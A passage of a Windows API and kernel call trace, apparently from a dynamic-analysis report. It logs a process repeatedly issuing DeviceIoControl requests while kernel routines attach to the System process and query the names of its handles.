ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031aa7c0, HandleInformation=0x0) returned 0x0 [0102.793] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.793] PsReleaseProcessExitSynchronization () returned 0x2 [0102.793] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.793] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.793] ObfDereferenceObject (Object=0xfffffa80031aa7c0) returned 0x1 [0102.793] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.793] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.793] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.793] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.794] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.794] PsAcquireProcessExitSynchronization () returned 0x0 [0102.794] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.794] ObReferenceObjectByHandle (in: Handle=0xffffffff800003b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031d7c80, HandleInformation=0x0) returned 0x0 [0102.794] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.794] PsReleaseProcessExitSynchronization () returned 0x2 [0102.794] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.794] ObQueryNameString (in: Object=0xfffffa80031d7c80, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.794] ObfDereferenceObject (Object=0xfffffa80031d7c80) returned 0x2 [0102.794] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.794] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.794] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0102.794] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.794] PsAcquireProcessExitSynchronization () returned 0x0 [0102.794] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.794] ObReferenceObjectByHandle (in: Handle=0xffffffff800003cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f699f0, HandleInformation=0x0) returned 0x0 [0102.794] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.794] PsReleaseProcessExitSynchronization () returned 0x2 [0102.794] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.794] ObQueryNameString (in: Object=0xfffffa8002f699f0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.794] ObfDereferenceObject (Object=0xfffffa8002f699f0) returned 0x1 [0102.794] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.794] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.794] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0102.794] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.794] PsAcquireProcessExitSynchronization () returned 0x0 [0102.794] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.794] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f698a0, HandleInformation=0x0) returned 0x0 [0102.794] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.794] PsReleaseProcessExitSynchronization () returned 0x2 [0102.795] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.795] ObQueryNameString (in: Object=0xfffffa8002f698a0, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.795] ObfDereferenceObject (Object=0xfffffa8002f698a0) returned 0x1 [0102.795] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.795] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.795] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.795] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xde, lpOverlapped=0x0) returned 1 [0102.795] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.795] PsAcquireProcessExitSynchronization () returned 0x0 [0102.795] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.795] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f66340, HandleInformation=0x0) returned 0x0 [0102.795] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.795] PsReleaseProcessExitSynchronization () returned 0x2 [0102.795] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.795] ObQueryNameString (in: Object=0xfffffa8002f66340, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.795] ObfDereferenceObject (Object=0xfffffa8002f66340) returned 0x2 [0102.795] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.795] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.795] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.795] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0102.795] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.795] PsAcquireProcessExitSynchronization () returned 0x0 [0102.795] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.795] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f64f20, HandleInformation=0x0) returned 0x0 [0102.795] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.795] PsReleaseProcessExitSynchronization () returned 0x2 [0102.795] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.795] ObQueryNameString (in: Object=0xfffffa8002f64f20, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.795] ObfDereferenceObject (Object=0xfffffa8002f64f20) returned 0x1 [0102.795] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.795] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.795] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0102.796] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.796] PsAcquireProcessExitSynchronization () returned 0x0 [0102.796] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.796] ObReferenceObjectByHandle (in: Handle=0xffffffff800003dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80028dde80, HandleInformation=0x0) returned 0x0 [0102.796] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.796] PsReleaseProcessExitSynchronization () returned 0x2 [0102.796] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.796] ObQueryNameString (in: Object=0xfffffa80028dde80, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.796] ObfDereferenceObject (Object=0xfffffa80028dde80) returned 0x2 [0102.796] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.796] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.796] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0102.796] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.796] PsAcquireProcessExitSynchronization () returned 0x0 [0102.796] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.796] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f69480, HandleInformation=0x0) returned 0x0 [0102.796] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.796] PsReleaseProcessExitSynchronization () returned 0x2 [0102.796] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.796] ObQueryNameString (in: Object=0xfffffa8002f69480, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.796] ObfDereferenceObject (Object=0xfffffa8002f69480) returned 0x2 [0102.796] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.796] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.796] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.796] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.797] PsAcquireProcessExitSynchronization () returned 0x0 [0102.797] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.797] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031dec90, HandleInformation=0x0) returned 0x0 [0102.797] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.797] PsReleaseProcessExitSynchronization () returned 0x2 [0102.797] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.797] ObQueryNameString (in: Object=0xfffffa80031dec90, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.797] ObfDereferenceObject (Object=0xfffffa80031dec90) returned 0x1 [0102.797] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.797] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.797] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.797] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.797] PsAcquireProcessExitSynchronization () returned 0x0 [0102.797] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.797] ObReferenceObjectByHandle (in: Handle=0xffffffff800003ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031de700, HandleInformation=0x0) returned 0x0 [0102.797] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.797] PsReleaseProcessExitSynchronization () returned 0x2 [0102.797] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.797] ObQueryNameString (in: Object=0xfffffa80031de700, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.797] ObfDereferenceObject (Object=0xfffffa80031de700) returned 0x2 [0102.797] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.797] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.797] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0102.797] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.797] PsAcquireProcessExitSynchronization () returned 0x0 [0102.797] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.798] ObReferenceObjectByHandle (in: Handle=0xffffffff800003f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031f33b0, HandleInformation=0x0) returned 0x0 [0102.798] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.798] PsReleaseProcessExitSynchronization () returned 0x2 [0102.798] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.798] ObQueryNameString (in: Object=0xfffffa80031f33b0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.798] ObfDereferenceObject (Object=0xfffffa80031f33b0) returned 0x2 [0102.798] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.798] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.798] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.798] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0102.798] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.798] PsAcquireProcessExitSynchronization () returned 0x0 [0102.798] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.798] ObReferenceObjectByHandle (in: Handle=0xffffffff800003fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031de920, HandleInformation=0x0) returned 0x0 [0102.798] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.798] PsReleaseProcessExitSynchronization () returned 0x2 [0102.798] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.798] ObQueryNameString (in: Object=0xfffffa80031de920, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.798] ObfDereferenceObject (Object=0xfffffa80031de920) returned 0x1 [0102.798] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.798] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.798] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.798] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0102.798] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.798] PsAcquireProcessExitSynchronization () returned 0x0 [0102.798] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.798] ObReferenceObjectByHandle (in: Handle=0xffffffff80000404, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f649e0, HandleInformation=0x0) returned 0x0 [0102.798] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.798] PsReleaseProcessExitSynchronization () returned 0x2 [0102.798] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.798] ObQueryNameString (in: Object=0xfffffa8002f649e0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.798] ObfDereferenceObject (Object=0xfffffa8002f649e0) returned 0x1 [0102.798] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.799] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.799] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0102.799] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.799] PsAcquireProcessExitSynchronization () returned 0x0 [0102.799] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.799] ObReferenceObjectByHandle (in: Handle=0xffffffff80000408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800bbffc60, HandleInformation=0x0) returned 0x0 [0102.799] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.799] PsReleaseProcessExitSynchronization () returned 0x2 [0102.799] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.799] ObQueryNameString (in: Object=0xfffffa800bbffc60, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.799] ObfDereferenceObject (Object=0xfffffa800bbffc60) returned 0x1 [0102.799] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.799] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.799] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0102.799] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.799] PsAcquireProcessExitSynchronization () returned 0x0 [0102.799] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.799] ObReferenceObjectByHandle (in: Handle=0xffffffff8000040c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031f4dc0, HandleInformation=0x0) returned 0x0 [0102.799] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.799] PsReleaseProcessExitSynchronization () returned 0x2 [0102.799] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.799] ObQueryNameString (in: Object=0xfffffa80031f4dc0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.799] ObfDereferenceObject (Object=0xfffffa80031f4dc0) returned 0x2 [0102.799] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.799] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.799] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0102.800] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.800] PsAcquireProcessExitSynchronization () returned 0x0 [0102.800] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.800] ObReferenceObjectByHandle (in: Handle=0xffffffff80000410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031f38a0, HandleInformation=0x0) returned 0x0 [0102.800] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.800] PsReleaseProcessExitSynchronization () returned 0x2 [0102.800] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.800] ObQueryNameString (in: Object=0xfffffa80031f38a0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: 